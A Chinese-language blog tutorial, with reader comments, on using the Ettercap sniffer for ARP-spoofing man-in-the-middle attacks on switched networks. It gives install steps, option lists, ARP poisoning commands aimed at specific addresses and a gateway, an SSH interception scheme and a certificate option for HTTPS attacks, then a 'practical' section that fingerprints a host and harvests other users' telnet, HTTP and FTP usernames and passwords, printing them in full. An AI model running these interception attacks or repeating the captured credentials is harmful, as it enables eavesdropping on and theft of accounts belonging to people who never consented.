Ettercap-交换环境下的嗅探器使用方法

一:安装

你可以在网上很多地方下载到它的最新版本,比如http://ettercap.sourceforge.net 下载完后,先解压缩:
[root@CIEL root]#tar zxpvf ettercap-0.6.tar.gz
[root@CIEL root]#cd ettercap-0.6
[root@CIEL ettercap-0.6]#./configure&&make&&make install
[root@CIEL ettercap-0.6]#make plug-ins
[root@CIEL ettercap-0.6]#make plug-ins_install
安装完成后,输入"ettercap --help"就可以看见帮助文档.基本用法是
ettercap [option] [host:port] [host:port] [mac] [mac]

二:功能介绍

嗅探:它有5种工作模式
-a --arpsniff 基于arp的欺骗,分3小种:arpbased,smartcarp和publicarp
-s --sniff 属于IPBASED,目标可以是任何主机
-m --macsniff 属于MACBASED

需要说明的是-s -m两选项带来的是传统嗅探模式,分别基于IP地址和MAC地址.也就是说它们必需先把网卡置于混杂,然后才可以正常工作。所以在交换环境下,这两项会完全失效,-a选项是基于ARP欺骗的,是一种中间人攻击模型。实质是利用了ARP协议的漏洞,攻击者分别欺骗了A和B机。让A机把数据传给嗅探者,然后再由嗅探机器把数据转发给B机,A和B却没有意识到数据包的中转过程,这样我们就可以劫获数据甚至修改数据包.

下面分别介绍五种用法:
1:ettercap -Nza ip1 ip2 mac1 mac2 (arpbased) 劫获IP1与IP2间的数据.缺省状态下
只接收TCP数据包

2: ettercap -Na ip mac (smartcarp) 劫获此ip与外部所有通讯数据,这种方式比较剧烈,启动时采用的是ARP风暴,很容易被发现.如果别人在用TCPDUMP监听,就会看见攻击者发出的无数的ARP请求,再傻的管理员都明白什么事情发生了.不过由于修改了指定主机的ARP表中关于被监听主机的MAC地址,还修改了被监听主机中的那些指定主机的MAC地址,处在完全的中间人工作状态,这时候你可以作的事情多些,比如更改数据包,截取SSH口令.

3:ettercap -Nza ip mac (publicarp) 同上,不同点在于发送ARP请求的方式,上面采用的是ARP广播,这里只是对特定主机发送ARP请求.这样,不易引起管理员的怀疑.不过也带来了问题,被监听者自己也会收到这个以广播方式发送的ARP响应包,于是便会弹出"检测到IP地址于硬件地址冲突"之类的警告.不过不会影响目标主机正常通信,还有一点就是发往被监听主机的数据包会送给监听者,而监听者发出的数据包却被直接送往真正的目的主机,没有经过监听者的主机.所以我们只能截取不完全的通信内容.

4:ettercap -Nzs IP:80 (ipbased sniffing) 基于IP地址的嗅探。这里仅劫获目标机器HTTP消息,你也可以指定其他端口,比如23 。如果没有指定,所有都会被截取

5:ettercap -zm mac1 mac 2 (macbased) 基于MAC的嗅探.只要输入MAC地址

需要说明的是,4,5两种方式只适合于共享网络,在交换网络下一概无效.MAC地址的获取很简单,直接在终端输入“ettercap -l"就会列出所有在线主机。或者你先PING一下某个IP,不管有没有回应(没有回应可能是对方开了防火墙),再用ARP命令就可以获取其MAC地址。如果无法获取,则此IP不存在 ,这也是探测防火墙后的主机是否在线的一个好方法。

包过滤:由于网络流量实在很大,当你面对大量记录数据时,你可能会感到手足无措,你想找到自己需要的数据无疑是一项艰巨的工作,这时侯,我们可以通过—F 选项加载自己的过滤规则,这样,很多无用的数据就会被忽略,删节。和注射字符一样,我们进行包过滤时有必要的话也要注意到正确的TCP序列号和确认序列号等因素。一旦你加载了自己的过滤链,你就可以有目的的得到自己最需要的数据了。一条过滤规则看起来就象汇编程序一样,当然,还是有差距的,用列阵形容可能更确切些。一条过滤规则大概如下:《协议,源端口,目标端口,承载数据》

一个空的搜索字符串总可以成立,比如端口如果没有指定,所有的都会被记录下来。只要那些规则匹配,你的过滤链就可以工作了.

例如有如下数据流
packet 1: "var1=123&var2=400"
packet 2: "var1=124&var2=420"
packet 3: "var1=125&var2=460"
packet 4: "var1=126&var2=540"
packet 5: "var1=127&var2=700
......
......
我们可以写如下规则
Search: "var1=[3*]"
Replace: "var1=000"
被过滤后的流就会如下
packet 1: "var1=000&var2=400"
packet 2: "var1=000&var2=420"
packet 3: "var1=000&var2=460"
packet 4: "var1=000&var2=540"
packet 5: "var1=000&var2=700"
如果“var1”后面没有被指定,默认则“var1=000”

最后是关于ssh的嗅探:

由于传输数据被加密,我们必需自己掌握密钥,具体实现方法如下:我们先截取服务器的明码密钥,保存在一边.自己再生成另一明码密钥,用来加密本机与客户机通讯数据,收到客户机数据后,自然可以解密,在用服务器明码密钥加密,发送给服务器,如此一来,可以偷天换柱.

三:工作参数:

下面列出它的主要选项,虽然它本身有28个,不过限于篇幅,下面只列出一些常用的:
-N --simple 非交互方式,很常用的
-z --silent 静模式(启动时不是发送ARP风暴)
-O --passive 被动模式嗅探
-b --broadping 广播PING ,替代了ARPPING
-S --spoof <ip1> 用IP1这地址发送ARP请求获取其他机器信息
-H --hosts <ip1[ip2][...]> 嗅探的目标主机的IP,可以是很多台
-n --netmask <netmask> 扫描由输入子网掩码确定的子网
-v --version 检查最新版本
-h --help 帮助文档

组合选项 (一般和N绑定一齐执行)
-u --udp 嗅探UDP数据,缺省是TCP
-p --plugin <name> 运行指定名字的插件
-l --list 列出所有在线主机ip和mac.实质就是发送255个ARP请求,等待回音,如果你的子网掩码是255.255.0.0,就会发送255*255个请求,就是ARP风暴吧!
-C --colletc 仅搜集用户名和对应密码 Eg:ettetcap -NCzs IP:port 它规则不是很严格,所以你IP或PORT不填也没有关系
-c --check 检察网络里有没其他机器正在嗅探
-x --hexview 用16进制表达数据,这样,如果你想自己创建一个包的话会比较方便.比如建个文件写上"\x01\x02\x00\x00\xFF\xFF\x00\ x02here the pass".注意:ettercap不仅可以嗅探包,也可以创建包的.所以你可以更改穿过你机器的任何一段数据
-L --logtofile 记录所有数据到指定位置
-k --newcert 创建一个新的CERT文件,用以进行HTTPS攻击
-F --filter 从指定文件列加载过滤规则
-f --fingerprint <host> 指定主机的OS判别,采用的是nmap的数据库,所以准确性得到保障,不过也有无法辨别的时候.
-t --linktype 判断自己处在什么样的网络环境中,交换或是HUB

实战篇
210.197.248.192是确定在线的主机,先判断它操作系统
[root@CIEL root]# ettercap -Nf 218.197.248.192
ettercap 0.6.0 (c) 2001 ALoR & NaGA
Your IP: 218.197.248.226 with MAC: 00:00:E8:7B:CA:4E on Iface: eth0
Fingerprinting 218.197.248.192...
Operating System:
Windows NT 5 Beta2 or Beta3
Windows Me or Windows 2000 RC1 through final release
MS Windows2000 Professional RC1/W2K Advance Server Beta3
Windows Millenium Edition v4.90.3000

现在小试牛刀,看看对方正在做什么
[root@CIEL root]# ettercap -Nza 218.197.248.192 218.197.248.254 MAC1 MAC2

这里218.197.248.254是网关。这样,我们就是中间人了,它与外网所有数据都会在我们这里流过。不过被嗅探机器的内网数据交换我们将看不到.下面是截取到的2段典型的HTTP交互数据,从第一段可以看出客户正在看的网页,脚本,浏览器语言以及客户的操作系统等信息。从第2段可以看出主机的bannner等等,都是网站的基本资料
GET /pcedu/script/title_edu.js HTTP/1.1.
Accept: */*.
Referer: http://wwwb.pconline.com.cn/pcedu/soft/doc/nt/10308.htm.
Accept-Language: zh-cn.
Accept-Encoding: gzip, deflate.
If-Modified-Since: Mon, 09 Sep 2002 09:18:53 GMT.
If-None-Match: "6f67c-2d5-3d7c677d".
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt).
Host: wwwb.pconline.com.cn.
Connection: Keep-Alive.

HTTP/1.1 200 OK.
Date: Sat, 01 Mar 2003 08:25:37 GMT.
Server: Apache/1.3.20 (Unix) PHP/4.1.2 mod_ssl/2.8.4 OpenSSL/0.9.6a.
X-Powered-By: PHP/4.1.2.
Keep-Alive: timeout=15, max=100.
Connection: Keep-Alive.
Transfer-Encoding: chunked.
Content-Type: text/html.

当然,它还可以记下很多网页内容,全是HTML源代码,你可以抓下来,用HTM后缀保存,再用浏览器打开,好了,你看到的是什么,别人看到的就是什么。不过它对中文支持不很好,所以别人看见的中文你将无法看到,另一个程序LCRZOEX就很不错,在中文终端里,可以把所有中文网页完整抓下来。

一般黑客最感兴趣的无非是密码了,比如下面的组合,h是帮助,它会提供帮助信息
[root@CIEL root]# ettercap -NCzs
ettercap 0.6.0 (c) 2001 ALoR & NaGA
Your IP: 218.197.248.226 with MAC: 00:00:E8:7B:CA:4E on Iface: eth0
Resolving 1 hostnames...
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:0
TCP packets only... (default)
Collecting passwords...
[qQ] - quit
[lL] - log all trafic to file(s)
space - stop/cont sniffing

15:52:51 218.197.248.21:1027 <--> 61.114.4.41:23 telnet
USER: root
PASS: root

15:54:53 218.197.248.46:1041 <--> 61.135.132.99:80 http
USER:dalin
PASS:7895865
http://www.sohu.com/

16:13:14 218.197.248.192:2278 <--> 218.197.249.172:21 ftp
USER: CshjPASS: 123456如果你输入lL,系统在/ROOT下会自动生成“20030301-Collected-passwords.log",里面会记录下所有能嗅探到的密码,看来TELNET,HTTP,FTP密码都不能逃过,这些记录简洁明了,在机器上挂一天,不知道可以记录多少了:)

关键词: 嗅探 , ettercap , 学习 , linux

上一篇: SaGunman开始做E文测试
下一篇: xargs实例

相关文章
访客评论
#1
回复 maxil 2008-04-17, 09:23:46
咯咯~昨天还在找在Linux环境下的嗅探器呢,没想到今天在你这发现了。收藏了。谢啦amxku大叔~
#2
回复 花之骄子 2008-04-18, 15:57:51
兄弟做个链。。

名称: 花之骄子的心情日记

地址: http://blog.yi521.com/u/26/

你的我做好了
发表评论

评论内容 (必填):